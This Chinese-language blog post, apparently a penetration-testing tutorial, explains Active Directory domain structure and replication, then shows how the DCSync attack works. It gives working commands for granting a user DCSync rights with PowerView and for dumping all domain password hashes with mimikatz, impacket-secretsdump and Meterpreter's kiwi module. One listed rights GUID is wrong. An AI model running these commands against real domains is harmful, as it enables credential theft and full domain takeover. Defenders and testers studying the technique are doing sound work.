DCSync攻击
本文最后更新于 49 天前,其中的信息可能已经有所发展或是发生改变。

前言

DCSync是域渗透中经常会用到的

是利用Active Directory(AD)域控制器的复制协议来提取域内用户hash的攻击方式

前置知识

主要需要了解一下内网的工作环境

分类:单域、子域、父域、域树、域森林、DNS域名服务器

其中域,是一个有安全边界的计算机组合(集中管理网络资源的逻辑边界)

在一个域里:

  • 所有计算机、用户、打印机、文件服务器等资源都被集中管理
  • 域里有一个或多个“域控制器(DC, Domain Controller)”负责认证和授权
  • 用户只需要一个账户,就可以登录域内的任意一台加入域的计算机,并访问被授权的资源

在域中,域管理员是权限最大的用户,在整个域中具有最高访问权限和管理权限,内网渗透中往往获得域管理员就可以实现域控

单域

即当前网络环境中所有的设备服务器都处在一个域中

父域子域

父域和子域,提供了一个层次,树状的结构,子域只能使用父域的名字作为域名后缀域树,多个域通过建立信任关系组成的集合(一个域可以“长出”子域,形成树状结构,每个域又可以有自己的管理员、用户、策略、同时又能信任彼此,共享资源)

比如:

父域: contoso.com
子域: shanghai.contoso.com
子域: beijing.contoso.com

域树

指在同一个命名空间下,由父域和它的子域组成,呈现树状结构的域的集合

比如:同一个连续的DNS命名空间

contoso.com
|
├── shanghai.contoso.com
├── beijing.contoso.com
└── sales.beijing.contoso.com

域林

由一颗或多棵域树组成的,共享一个AD架构和全局目录的更大的集合

关键在与:

  • 可以包含多棵域树
  • 每棵树内部的命名空间是独立的,但整个林共享一个“根林”和全局目录
  • 林里的所有域和树之间也默认建立双向的、可传递的信任关系
林 (Forest)
├── 树1: contoso.com
│   ├── shanghai.contoso.com
│   └── beijing.contoso.com
├── 树2: fabrikam.com
│   ├── sales.fabrikam.com
│   └── dev.fabrikam.com
└── 树3: northwind.com

工作组

简单理解为一个组织中所有计算机按照不同的功能分别置于不同的组中,能使整个组织的网络更加具有层次性

域控制器

简称DC,域控制器是一台运行了Active Directory域服务的Windows Server服务器,用来维护,存储和管理整个域的目录结构,并且处理用户和计算机的认证请求

作用主要是用来在域中响应安全身份认证,负责允许或拒绝发出请求的主机访问域内资源以及对用户进行身份验证,存储用户账户信息并执行域的安全策略

一个域通常不会只部署一台 DC,可以有多个域控制器,因为:

  • 如果 DC 挂了,域里的用户就无法登录,业务中断。
  • 所以会部署多台 DC,它们之间通过复制保持一致 DC 掌握着整个域的钥匙:
  • 它控制着所有账户、密码、权限。
  • 一旦攻击者拿下 DC,相当于拿到了整个域的控制权(就是所谓的 域控)

AD的复制技术

为了防止DC出现意外导致域内瘫痪,所以都是要布置多台域控作为AD域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。在不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据

DCSync攻击原理

DCSync,使用这项技术可以有效地“模拟”域控制器并从目标域控上请求域内用户密码hash

在2015年后,Mimkatz新增了这个功能,由此为域渗透提供了极大的便利,可以远程dump域内hash

利用域控制器之间数据同步的复制特点,可以模拟DC向真是DC发送数据请求同步,获取洪湖凭据数据,由于此攻击利用了Windows RPC协议,并不需要登录域控或者在域控上落地文件,避免发生EDR告警

解释:Windows RPC协议

在 Windows 里,RPC 是一个核心组件,用来支持分布式系统和远程管理。
Active Directory、WMI、文件共享、打印服务、远程注册表等几乎都依赖 RPC

基本流程:
1️⃣ 客户端发出一个请求,要执行某个“过程”(函数)
2️⃣ 客户端通过 RPC 运行时库封装这个请求,并通过网络发送到服务器
3️⃣ 服务器上的 RPC 服务接收请求,调用相应的过程,并把结果返回

利用条件

获得以下任一用户权限就可:

  • Acministrators组内用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机用户

DCAL相当于是对应对象的权限清单

DACL 里是一个个 ACE(Access Control Entry)就是记录,每个 ACE 记录了:

  • 适用的用户或组(SID)。
  • 允许(Allow)还是拒绝(Deny)
  • 具体的权限位

在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这三条DACL分别为:

复制目录更改(DS-Replication-Get-Changes)

全部复制目录更改 (DS-Replication-Get-Changes-All )

在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)

攻击方式

DCSync是向域用户写入两条ACL(授予域用户复制目录更改(DS-Replication-Get-Changes)和全部复制目录更改 (DS-Replication-Get-Changes-All)),我们可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限

利用powershell

查看域下的用户

Get-ADUser -Filter * | Select-Object Name, SamAccountName

BloodHound

Invoke-BloodHound -CollectionMethod All

搜索DCSync,自动列出所有具备该权限的用户/组

在域环境里利用 PowerView 添加 DCSync 权限的操作

Set-ExecutionPolicy Bypass -Scope Process //临时修改当前 PowerShell 进程的执行策略为 Bypass,允许执行不受信任的脚本
import-module .\PowerView.ps1  //把当前目录下的 PowerView 脚本加载进来
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity haha -Rights DCSync -Verbose  //用 PowerView 给域对象修改 ACL,让指定用户/主体(haha)具备 DCSync权限
# 加载 ActiveDirectory 模块
Import-Module ActiveDirectory

# 获取域根对象的 DistinguishedName
$domainDN = (Get-ADDomain).DistinguishedName

# 获取域根对象的 ACL
$acl = Get-Acl "AD:\$domainDN"

# 定义 DCSync 所需的 GUID
$dcsyncGuids = @(
    '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',  # DS-Replication-Get-Changes
    '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'   # DS-Replication-Get-Changes-All
)

# 可选:RODC 还需要的权限
#$dcsyncGuids += '89e95b76-444d-4c62-991a-0facbeda640c'  # DS-Replication-Get-Changes-In-Filtered-Set

# 创建一个哈希表记录每个主体的权限
$principalRights = @{}

# 遍历 ACL 的 ACE
foreach ($ace in $acl.Access) {
    # 只考虑允许的
    if ($ace.AccessControlType -ne 'Allow') { continue }

    # 如果当前 ACE 的 ObjectType 在我们关注的 GUID 里
    if ($dcsyncGuids -contains $ace.ObjectType) {
        $principal = $ace.IdentityReference.ToString()

        if (-not $principalRights.ContainsKey($principal)) {
            $principalRights[$principal] = @()
        }

        $principalRights[$principal] += $ace.ObjectType
    }
}

# 输出同时具有两个关键权限的主体
Write-Host "`n以下主体同时拥有 DCSync 所需的两个权限:" -ForegroundColor Cyan
$principalRights.GetEnumerator() | Where-Object {
    ($_.Value | Sort-Object -Unique).Count -ge $dcsyncGuids.Count
} | ForEach-Object {
    [PSCustomObject]@{
        Principal = $_.Key
        Permissions = ($_.Value | Sort-Object -Unique) -join ", "
    }
} | Format-Table -AutoSize

利用mimikatz

导出域内所有用户的hash

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内Administrator账户的hash

mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

下载链接

修改DCSync的ACL

要想让普通的域用户也拥有DCSync的权限,可以选择向域用户中加入ACE

● DS-Replication-Get-Changes:复制目录更改权限,该权限只能从给定的域复制数据,不包括私密域数据。该ACE的rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。
● DS-Replication-Get-Changes-ALL:复制目录更改所有项权限,该权限允许复制给定的任意域中的所有数据,包括私密域数据。该ACE为rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

Set-ExecutionPolicy Bypass -Scope Process

import-module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

利用impacket

下载链接

Impacket-secretsdumpImpacket 工具集中用于提取域内敏感信息(如哈希、票据等)的模块,支持直接进行 DCSync 攻击

利用明文密码

impacket-secretsdump xxxxxxxx.lab/xxxxxxxx:Password123@xxx.xx.xx.x -just-dc

域/用户名和明文密码,目标域控制器的 IP 地址,仅提取域控制器的数据(哈希、票据等)

利用NTLM hash验证

impacket-secretsdump xxxxxxxxxx.lab/xxxxxxxx@1xxx.xx.x.x -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc

NTLM是Windows上一种认证协议,在win的域环境中,每个用户账户的密码并不是直接明文存储的,而是经过哈希后存入到安全数据库中的,过程不可逆(32 个十六进制字符)

可以用来进行身份认证和横向渗透

利用msf获取用户hash

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
  • load kiwi:kiwi 是 Meterpreter 的一个扩展模块,专门用于 Windows 凭据提取(如明文密码、NTLM 哈希、Kerberos 票据等)
  • 该命令模拟域控制器(DC)的同步行为,从 xiaorang.lab 域中提取所有用户、计算机、组等对象的 NTLM 哈希Kerberos 密钥,并以 CSV 格式输出
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇